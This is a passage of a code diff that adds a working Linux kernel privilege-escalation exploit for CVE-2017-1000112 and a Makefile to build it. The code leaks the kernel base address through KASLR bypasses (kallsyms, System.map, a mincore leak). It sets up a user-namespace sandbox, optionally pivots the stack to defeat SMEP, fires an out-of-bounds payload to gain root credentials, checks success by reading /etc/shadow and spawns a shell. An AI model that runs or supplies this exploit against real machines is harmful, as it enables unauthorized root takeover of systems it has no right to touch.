+	char* path = "/proc/kallsyms";
+
+	dprintf("[.] trying %s...\n", path);
+	f = fopen(path, "r");
+	if (f == NULL) {
+		dprintf("[-] open/read(%s)\n", path);
+		return 0;
+	}
+
+	int ret = 0;
+	while (ret != EOF) {
+		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
+		if (ret == 0) {
+			fscanf(f, "%s\n", sname);
+			continue;
+		}
+		if (!strcmp(name, sname)) {
+			fclose(f);
+			return addr;
+		}
+	}
+
+	fclose(f);
+	dprintf("[-] kernel base not found in %s\n", path);
+	return 0;
+}
+
+// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
+
+unsigned long get_kernel_addr_sysmap() {
+	FILE *f;
+	unsigned long addr = 0;
+	char path[512] = "/boot/System.map-";
+	char version[32];
+
+	struct utsname u;
+	u = get_kernel_version();
+	strcat(path, u.release);
+	dprintf("[.] trying %s...\n", path);
+	f = fopen(path, "r");
+	if (f == NULL) {
+		dprintf("[-] open/read(%s)\n", path);
+		return 0;
+	}
+
+	char dummy;
+	char sname[256];
+	char* name = "startup_64";
+	int ret = 0;
+	while (ret != EOF) {
+		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
+		if (ret == 0) {
+			fscanf(f, "%s\n", sname);
+			continue;
+		}
+		if (!strcmp(name, sname)) {
+			fclose(f);
+			return addr;
+		}
+	}
+
+	fclose(f);
+	dprintf("[-] kernel base not found in %s\n", path);
+	return 0;
+}
+
+// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
+
+unsigned long get_kernel_addr_mincore() {
+	unsigned char buf[getpagesize()/sizeof(unsigned char)];
+	unsigned long iterations = 20000000;
+	unsigned long addr = 0;
+
+	dprintf("[.] trying mincore info leak...\n");
+	/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
+	if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
+		MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
+		dprintf("[-] mmap()\n");
+		return 0;
+	}
+
+	int i;
+	for (i = 0; i <= iterations; i++) {
+		/* Touch a mishandle with this type mapping */
+		if (mincore((void*)0x86000000, 0x1000000, buf)) {
+			dprintf("[-] mincore()\n");
+			return 0;
+		}
+
+		int n;
+		for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
+			addr = *(unsigned long*)(&buf[n]);
+			/* Kernel address space */
+			if (addr > 0xffffffff00000000) {
+				addr &= 0xffffffffff000000ul;
+				if (munmap((void*)0x66000000, 0x20000000000))
+					dprintf("[-] munmap()\n");
+				return addr;
+			}
+		}
+	}
+
+	if (munmap((void*)0x66000000, 0x20000000000))
+		dprintf("[-] munmap()\n");
+
+	dprintf("[-] kernel base not found in mincore info leak\n");
+	return 0;
+}
+
+// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
+
+unsigned long get_kernel_addr() {
+	unsigned long addr = 0;
+
+	addr = get_kernel_addr_kallsyms();
+	if (addr) return addr;
+
+	addr = get_kernel_addr_sysmap();
+	if (addr) return addr;
+
+	addr = get_kernel_addr_syslog();
+	if (addr) return addr;
+
+	addr = get_kernel_addr_mincore();
+	if (addr) return addr;
+
+	dprintf("[-] KASLR bypass failed\n");
+	exit(EXIT_FAILURE);
+
+	return 0;
+}
+
+// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
+
+static bool write_file(const char* file, const char* what, ...) {
+	char buf[1024];
+	va_list args;
+	va_start(args, what);
+	vsnprintf(buf, sizeof(buf), what, args);
+	va_end(args);
+	buf[sizeof(buf) - 1] = 0;
+	int len = strlen(buf);
+
+	int fd = open(file, O_WRONLY | O_CLOEXEC);
+	if (fd == -1)
+		return false;
+	if (write(fd, buf, len) != len) {
+		close(fd);
+		return false;
+	}
+	close(fd);
+	return true;
+}
+
+void setup_sandbox() {
+	int real_uid = getuid();
+	int real_gid = getgid();
+
+	if (unshare(CLONE_NEWUSER) != 0) {
+		dprintf("[!] unprivileged user namespaces are not available\n");
+		dprintf("[-] unshare(CLONE_NEWUSER)\n");
+		exit(EXIT_FAILURE);
+	}
+	if (unshare(CLONE_NEWNET) != 0) {
+		dprintf("[-] unshare(CLONE_NEWUSER)\n");
+		exit(EXIT_FAILURE);
+	}
+
+	if (!write_file("/proc/self/setgroups", "deny")) {
+		dprintf("[-] write_file(/proc/self/set_groups)\n");
+		exit(EXIT_FAILURE);
+	}
+	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
+		dprintf("[-] write_file(/proc/self/uid_map)\n");
+		exit(EXIT_FAILURE);
+	}
+	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
+		dprintf("[-] write_file(/proc/self/gid_map)\n");
+		exit(EXIT_FAILURE);
+	}
+
+	cpu_set_t my_set;
+	CPU_ZERO(&my_set);
+	CPU_SET(0, &my_set);
+	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
+		dprintf("[-] sched_setaffinity()\n");
+		exit(EXIT_FAILURE);
+	}
+
+	if (system("/sbin/ifconfig lo mtu 1500") != 0) {
+		dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n");
+		exit(EXIT_FAILURE);
+	}
+	if (system("/sbin/ifconfig lo up") != 0) {
+		dprintf("[-] system(/sbin/ifconfig lo up)\n");
+		exit(EXIT_FAILURE);
+	}
+}
+
+void exec_shell() {
+	int fd;
+
+	fd = open("/proc/1/ns/net", O_RDONLY);
+	if (fd == -1) {
+		dprintf("error opening /proc/1/ns/net\n");
+		exit(EXIT_FAILURE);
+	}
+
+	if (setns(fd, CLONE_NEWNET) == -1) {
+		dprintf("error calling setns\n");
+		exit(EXIT_FAILURE);
+	}
+
+	system(SHELL);
+}
+
+bool is_root() {
+	// We can't simple check uid, since we're running inside a namespace
+	// with uid set to 0. Try opening /etc/shadow instead.
+	int fd = open("/etc/shadow", O_RDONLY);
+	if (fd == -1)
+		return false;
+	close(fd);
+	return true;
+}
+
+void check_root() {
+	dprintf("[.] checking if we got root\n");
+	if (!is_root()) {
+		dprintf("[-] something went wrong =(\n");
+		return;
+	}
+	dprintf("[+] got r00t ^_^\n");
+	exec_shell();
+}
+
+int main(int argc, char** argv) {
+	if (argc > 1) SHELL = argv[1];
+
+	dprintf("[.] starting\n");
+
+	dprintf("[.] checking kernel version\n");
+	detect_kernel();
+	dprintf("[~] done, version looks good\n");
+
+	dprintf("[.] checking SMEP and SMAP\n");
+	check_smep_smap();
+	dprintf("[~] done, looks good\n");
+
+	dprintf("[.] setting up namespace sandbox\n");
+	setup_sandbox();
+	dprintf("[~] done, namespace sandbox set up\n");
+
+#if ENABLE_KASLR_BYPASS
+	dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
+	KERNEL_BASE = get_kernel_addr();
+	dprintf("[~] done, kernel addr:   %lx\n", KERNEL_BASE);
+#endif
+
+	dprintf("[.] commit_creds:        %lx\n", COMMIT_CREDS);
+	dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
+
+	unsigned long payload = (unsigned long)&get_root;
+
+#if ENABLE_SMEP_BYPASS
+	dprintf("[.] SMEP bypass enabled, mmapping fake stack\n");
+	mmap_stack();
+	payload = XCHG_EAX_ESP_RET;
+	dprintf("[~] done, fake stack mmapped\n");
+#endif
+
+	dprintf("[.] executing payload %lx\n", payload);
+	oob_execute(payload);
+	dprintf("[~] done, should be root now\n");
+
+	check_root();
+
+	return 0;
+}
--- a/CVE-2017-1000112/Makefile
+++ b/CVE-2017-1000112/Makefile
@@ -0,0 +1,7 @@
+TARGET := CVE-2017-1000112
+
+all:
+	gcc CVE-2017-1000112.c -o $(TARGET)
+
+clean:
+	rm -f $(TARGET)